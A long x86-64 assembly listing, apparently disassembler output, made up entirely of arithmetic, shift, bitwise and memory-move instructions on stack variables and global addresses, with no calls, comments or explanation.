movzx eax, word [rsp + 0x1154]
mov rcx, qword [rsp + 0xada8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa9c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c8]
movzx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0xab68]
mov byte [rcx], al
lea rax, [rsp + 0x47a0]
mov qword [rsp + 0xbc58], rax
mov eax, dword [rsp + 0x45f8]
mov ecx, dword [0x14019bf48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
lea rax, [rsp + 0x421c]
mov qword [rsp + 0xbc60], rax
mov rax, qword [rsp + 0xb3e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x445c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb70]
mov dword [rcx], eax
mov eax, dword [0x14019bee8]
mov dword [rsp + 0x47b0], eax
movzx eax, byte [rsp + 0x1a7]
mov rcx, qword [rsp + 0xa930]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e6], al
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf7c], ax
mov eax, dword [rsp + 0x4228]
mov ecx, dword [0x14019d840]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x431c], eax
lea rax, [rsp + 0x4294]
mov qword [rsp + 0xbc68], rax
mov eax, dword [0x14019bef8]
mov ecx, dword [rsp + 0x47a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42e8], eax
mov eax, dword [rsp + 0x4194]
mov dword [rsp + 0x47b4], eax
mov rax, qword [rsp + 0xaa78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb0c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1028]
sar eax, cl
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb6c8]
movzx eax, word [rax]
mov word [rsp + 0x1180], ax
mov rax, qword [rsp + 0xb500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb30]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x18c], al
lea rax, [rsp + 0x39a0]
mov qword [0x14019dba8], rax
lea rax, [rsp + 0x41e4]
mov qword [rsp + 0xbc70], rax
movzx eax, word [rsp + 0x1160]
movzx ecx, word [rsp + 0xeb8]
shl eax, cl
mov rcx, qword [rsp + 0xa608]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb330]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1bb], al
mov eax, dword [0x14019bf58]
mov dword [rsp + 0x47b8], eax
mov rax, qword [rsp + 0xa8c8]
mov ecx, dword [rsp + 0x46bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov dword [rcx], eax
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xbc78], rax
mov rax, qword [rsp + 0xba40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4748]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0xaf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
mov byte [rsp + 0x10d], al
movzx eax, word [rsp + 0x10c4]
movzx ecx, word [0x14019bfc8]
sub eax, ecx
mov word [0x14019bf14], ax
lea rax, [rsp + 0x46bc]
mov qword [rsp + 0xbc80], rax
mov rax, qword [rsp + 0xbbb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4750]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
mov eax, dword [rsp + 0x3b98]
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0xb410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4240]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4638], eax
lea rax, [rsp + 0x4374]
mov qword [rsp + 0xbc88], rax
movsx eax, word [rsp + 0xf7c]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0x10f8]
mov word [rsp + 0x1184], ax
movzx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0xae58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x434c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x420c], eax
mov eax, dword [rsp + 0x4678]
mov dword [rsp + 0x47c0], eax
movzx eax, word [rsp + 0xf28]
mov rcx, qword [0x14019d8e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xab18]
mov word [rcx], ax
mov rax, qword [rsp + 0xb8e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb978]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e1], al
lea rax, [rsp + 0x4310]
mov qword [rsp + 0xbc90], rax
mov rax, qword [rsp + 0xb680]
mov rcx, qword [0x14019db50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3d3c], eax
lea rax, [rsp + 0x41c8]
mov qword [rsp + 0xbc98], rax
mov rax, qword [rsp + 0xad00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbbe8]
mov qword [rsp + 0xbca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbca0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x472c], eax
lea rax, [rsp + 0x1158]
mov qword [0x14019dbb0], rax
movzx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xac], al
lea rax, [rsp + 0x43a4]
mov qword [rsp + 0xbca8], rax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4628]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa718]
mov dword [rcx], eax
lea rax, [rsp + 0x14d]
mov qword [rsp + 0xbcb0], rax
mov rax, qword [rsp + 0xb0f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x106c]
sub eax, ecx
mov rcx, qword [rsp + 0xaed8]
mov word [rcx], ax
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0xbcb8], rax
movzx eax, word [0x14019bfd0]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xb738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4194], eax
mov eax, dword [rsp + 0x4454]
mov ecx, dword [rsp + 0x4750]
add ecx, eax
mov eax, ecx
mov dword [0x14019bfe8], eax
lea rax, [rsp + 0x4240]
mov qword [rsp + 0xbcc0], rax
mov eax, dword [rsp + 0x41e8]
mov ecx, dword [rsp + 0x4514]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb60]
mov eax, dword [rax]
mov dword [rsp + 0x47c4], eax
movzx eax, byte [rsp + 0x1b7]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb3a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb850]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1160], ax
mov rax, qword [rsp + 0xb800]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019daec]
shl eax, cl
mov dword [rsp + 0x3edc], eax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xb158]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x41fc], eax
mov rax, qword [rsp + 0xb408]
mov eax, dword [rax]
mov dword [rsp + 0x47c8], eax
mov eax, dword [rsp + 0x47b8]
mov dword [0x14019dbb8], eax
mov rax, qword [rsp + 0xb448]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa890]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1c6], al
movzx eax, word [rsp + 0xf98]
mov rcx, qword [rsp + 0xab90]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfd8], ax
mov rax, qword [0x14019d868]
movzx eax, word [rax]
mov word [rsp + 0x1188], ax
movsx eax, byte [rsp + 0x178]
movsx ecx, byte [rsp + 0x5c]
add eax, ecx
mov rcx, qword [rsp + 0xba88]
mov byte [rcx], al
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
mov dword [rsp + 0x47cc], eax
mov rax, qword [rsp + 0xa6e8]
mov rcx, qword [rsp + 0xb688]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0xbbf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a3]
sub eax, ecx
mov byte [rsp + 0x1ef], al
mov rax, qword [rsp + 0xab90]
movzx eax, word [rax]
mov word [rsp + 0x118c], ax
lea rax, [rsp + 0x3b2c]
mov qword [0x14019dbc0], rax
mov rax, qword [0x14019da40]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0xbbe8]
mov eax, dword [rax]
mov dword [rsp + 0x47d0], eax
mov eax, dword [rsp + 0x41d8]
mov ecx, dword [rsp + 0x4258]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb550]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x201], al
mov rax, qword [rsp + 0xb5e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb958]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov word [rcx], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xa6b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4328]
mov dword [rsp + 0x47d4], eax
mov rax, qword [rsp + 0xa708]
mov ecx, dword [rsp + 0x4664]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb090]
mov dword [rcx], eax
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x4370]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d828]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3edc]
mov dword [rsp + 0x47d8], eax
mov rax, qword [rsp + 0xb710]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x166], al
movsx eax, word [rsp + 0xf48]
mov rcx, qword [0x14019d898]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1170], ax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0xbcc8], rax
mov rax, qword [rsp + 0xb910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
or eax, ecx
mov word [rsp + 0xfe4], ax
lea rax, [rsp + 0x4018]
mov qword [rsp + 0xbcd0], rax
mov rax, qword [rsp + 0xb668]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x43d4]
shl eax, cl
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0xb850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb460]
mov word [rcx], ax
lea rax, [0x14019beef]
mov qword [0x14019dbc8], rax
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov dword [rsp + 0x47dc], eax
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xbc28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x471c], eax
lea rax, [rsp + 0x4450]
mov qword [rsp + 0xbcd8], rax
mov rax, qword [0x14019d820]
mov ecx, dword [rsp + 0x46c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x191]
mov rcx, qword [rsp + 0xb3a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb2d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xee4]
movzx ecx, word [str.a_t_nJ]
add eax, ecx
mov word [rsp + 0xde0], ax
mov rax, qword [rsp + 0xbb58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4634], eax
lea rax, [rsp + 0x456c]
mov qword [rsp + 0xbce0], rax
movsx eax, word [0x14019beec]
mov rcx, qword [rsp + 0xae38]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf80], ax
mov rax, qword [rsp + 0xb180]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e4], al
lea rax, [rsp + 0x155]
mov qword [rsp + 0xbce8], rax
mov rax, qword [0x14019db90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b8]
sub eax, ecx
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0xa678]
mov rcx, qword [rsp + 0xb388]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb358]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov dword [rsp + 0x47e0], eax
mov eax, dword [rsp + 0x4608]
mov ecx, dword [rsp + 0x46e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44bc], eax
lea rax, [rsp + 0x4670]
mov qword [rsp + 0xbcf0], rax
mov eax, dword [rsp + 0x3aa4]
mov ecx, dword [rsp + 0x464c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46d4], eax
movzx eax, word [rsp + 0x1150]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x117c], ax
mov rax, qword [rsp + 0xa9c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17c]
or eax, ecx
mov byte [0x14019bf56], al
mov eax, dword [0x14019bf48]
mov dword [rsp + 0x47e4], eax
mov rax, qword [rsp + 0xab30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc88]
mov qword [rsp + 0xbcf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcf8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4784], eax
mov eax, dword [rsp + 0x3d34]
mov dword [rsp + 0x47e8], eax
mov rax, qword [0x14019db88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c7c]
shr eax, cl
mov dword [rsp + 0x45d0], eax
movzx eax, word [rsp + 0x10b0]
mov rcx, qword [rsp + 0xada8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0xb2d0]
movzx eax, byte [rax]
mov byte [rsp + 0x202], al
movsx eax, word [rsp + 0x1148]
movsx ecx, word [rsp + 0xee0]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c5]
mov byte [rsp + 0x203], al
mov rax, qword [rsp + 0xbb10]
mov ecx, dword [rsp + 0x4148]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019da00]
mov dword [rcx], eax
mov rax, qword [0x14019db20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4268]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x426c], eax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0xbd00], rax
movzx eax, word [rsp + 0x10cc]
mov rcx, qword [rsp + 0xb390]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
mov eax, dword [rsp + 0x46f4]
mov ecx, dword [rsp + 0x4170]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42b8], eax
lea rax, [rsp + 0x4350]
mov qword [rsp + 0xbd08], rax
mov rax, qword [rsp + 0xb4f8]
mov ecx, dword [rsp + 0x41c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44d8], eax
mov eax, dword [rsp + 0x474c]
mov dword [rsp + 0x47ec], eax
movzx eax, byte [rsp + 0x1a6]
mov rcx, qword [rsp + 0xb448]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x162], al
movzx eax, word [rsp + 0x1070]
mov rcx, qword [rsp + 0xb898]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d7b0], ax
mov eax, dword [rsp + 0x47b4]
mov rcx, qword [rsp + 0xacb0]
mov qword [rsp + 0xbd10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x43bc], eax
mov eax, dword [rsp + 0x3fdc]
mov dword [rsp + 0x47f0], eax
mov eax, dword [rsp + 0x41b4]
mov ecx, dword [rsp + 0x436c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8e8]
mov dword [rcx], eax
mov rax, qword [0x14019da98]
mov eax, dword [rax]
mov dword [rsp + 0x47f4], eax
mov rax, qword [rsp + 0xbc90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaf80]
mov qword [rsp + 0xbd18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x451c], eax
movsx eax, byte [rsp + 0x1a1]
mov rcx, qword [rsp + 0xabd8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x8c], al
lea rax, [0x14019bf64]
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xb3a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e6]
and eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1044]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bff0], ax
lea rax, [rsp + 0x46a8]
mov qword [rsp + 0xbd28], rax
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb5f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1070], ax
lea rax, [rsp + 0x1fb]
mov qword [rsp + 0xbd30], rax
mov rax, qword [rsp + 0xb5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x458c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4674], eax
mov rax, qword [0x14019d820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f80], eax
mov rax, qword [rsp + 0xba80]
mov rcx, qword [rsp + 0xbbe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4720], eax
mov eax, dword [rsp + 0x3578]
mov dword [rsp + 0x47f8], eax
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
mov word [0x14019dbd0], ax
mov rax, qword [rsp + 0xb778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19b]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x422c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43a4], eax
mov rax, qword [rsp + 0xaa18]
mov eax, dword [rax]
mov dword [rsp + 0x47fc], eax
mov rax, qword [rsp + 0xb018]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa9b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa440]
movzx eax, word [rax]
mov word [rsp + 0x1190], ax
movzx eax, byte [rsp + 0x176]
mov rcx, qword [0x14019da20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x17d], al
movzx eax, word [rsp + 0xfa4]
movzx ecx, word [rsp + 0x1160]
or eax, ecx
mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0xab08]
mov eax, dword [rax]
mov dword [rsp + 0x4800], eax
mov eax, dword [0x14019dbb8]
mov ecx, dword [rsp + 0x45bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d9c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa820]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3ef8]
shl eax, cl
mov dword [rsp + 0x4454], eax
lea rax, [rsp + 0x4320]
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0xb490]
mov ecx, dword [0x14019d830]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0xbcc8]
movzx eax, byte [rax]
mov byte [rsp + 0x204], al
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [str.so_g_]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb648]
mov dword [rcx], eax
lea rax, [rsp + 0x4420]
mov qword [rsp + 0xbd40], rax
mov rax, qword [rsp + 0xbc90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
mov rax, qword [rsp + 0xb570]
mov ecx, dword [rsp + 0x4560]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d7e0], eax
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0xb290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef8]
sub eax, ecx
mov word [rsp + 0xfa4], ax
movsx eax, word [rsp + 0x10d0]
movsx ecx, word [rsp + 0x1140]
and eax, ecx
mov word [rsp + 0x1144], ax
lea rax, [rsp + 0x1a1]
mov qword [rsp + 0xbd48], rax
mov rax, qword [rsp + 0xbcd0]
mov ecx, dword [rsp + 0x4418]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd38]
mov dword [rcx], eax
lea rax, [rsp + 0x3e4c]
mov qword [rsp + 0xbd50], rax
mov rax, qword [rsp + 0xb7a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa768]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf40]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1fb]
mov rcx, qword [0x14019d970]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f5], al
lea rax, [rsp + 0x335c]
mov qword [0x14019dbd8], rax
mov rax, qword [rsp + 0xbcf0]
mov eax, dword [rax]
mov dword [rsp + 0x4804], eax
mov eax, dword [rsp + 0x4198]
mov rcx, qword [rsp + 0xb338]
mov qword [rsp + 0xbd58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbb58]
mov dword [rcx], eax
lea rax, [rsp + 0x43a4]
mov qword [rsp + 0xbd60], rax
mov rax, qword [rsp + 0xad18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1aa]
sar eax, cl
mov byte [rsp + 0x1a4], al
movzx eax, word [rsp + 0xf80]
movzx ecx, word [rsp + 0x112c]
xor eax, ecx
mov word [rsp + 0x1080], ax
lea rax, [0x14019bf20]
mov qword [rsp + 0xbd68], rax
mov rax, qword [rsp + 0xb3e0]
mov ecx, dword [rsp + 0x4538]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
lea rax, [rsp + 0x4594]
mov qword [rsp + 0xbd70], rax
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d978]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0xa7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x1b8]
sub eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
movzx eax, word [rsp + 0x1038]
mov word [rsp + 0x1194], ax
movzx eax, byte [rsp + 0x1f5]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb818]
mov byte [rcx], al
movzx eax, word [rsp + 0x110c]
movzx ecx, word [0x14019d7b0]
add eax, ecx
mov word [rsp + 0xc3c], ax
mov rax, qword [rsp + 0xbc40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4418]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41cc]
mov dword [rsp + 0x4808], eax
movzx eax, word [rsp + 0x117c]
mov rcx, qword [rsp + 0xb460]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf68], ax
movzx eax, byte [rsp + 0x171]
movzx ecx, byte [rsp + 0x197]
and eax, ecx
mov byte [0x14019bf57], al
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa798]
mov dword [rcx], eax
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
mov dword [rsp + 0x480c], eax
mov eax, dword [rsp + 0x453c]
mov ecx, dword [rsp + 0x3c38]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba40]
mov dword [rcx], eax
lea rax, [rsp + 0x4780]
mov qword [rsp + 0xbd78], rax
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1078]
shl eax, cl
mov word [rsp + 0xec0], ax
movzx eax, byte [rsp + 0x19e]
mov rcx, qword [rsp + 0xbbf0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1e7], al
mov eax, dword [rsp + 0x44f0]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0xb0a8]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4530], eax
movsx eax, byte [rsp + 0x18c]
mov rcx, qword [rsp + 0xb018]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf66], al
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0xbd80], rax
mov rax, qword [rsp + 0xb698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ee], al
movzx eax, word [rsp + 0x10e0]
mov rcx, qword [rsp + 0xb508]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0xb658]
mov eax, dword [rax]
mov dword [rsp + 0x4814], eax
mov rax, qword [rsp + 0xbb28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x444c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4500], eax
lea rax, [rsp + 0x4410]
mov qword [rsp + 0xbd88], rax
mov rax, qword [rsp + 0xa8a0]
mov rcx, qword [rsp + 0xa7d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbcd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf78]
mov rcx, qword [rsp + 0xa770]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov word [rsp + 0x1198], ax
movzx eax, byte [rsp + 0x1f5]
mov rcx, qword [0x14019db38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019da10]
mov byte [rcx], al
mov rax, qword [rsp + 0xad40]
mov rcx, qword [rsp + 0xb5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
lea rax, [rsp + 0x4294]
mov qword [rsp + 0xbd90], rax
mov rax, qword [rsp + 0xb058]
mov rcx, qword [0x14019d7d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41d4], eax
lea rax, [rsp + 0x43a4]
mov qword [rsp + 0xbd98], rax
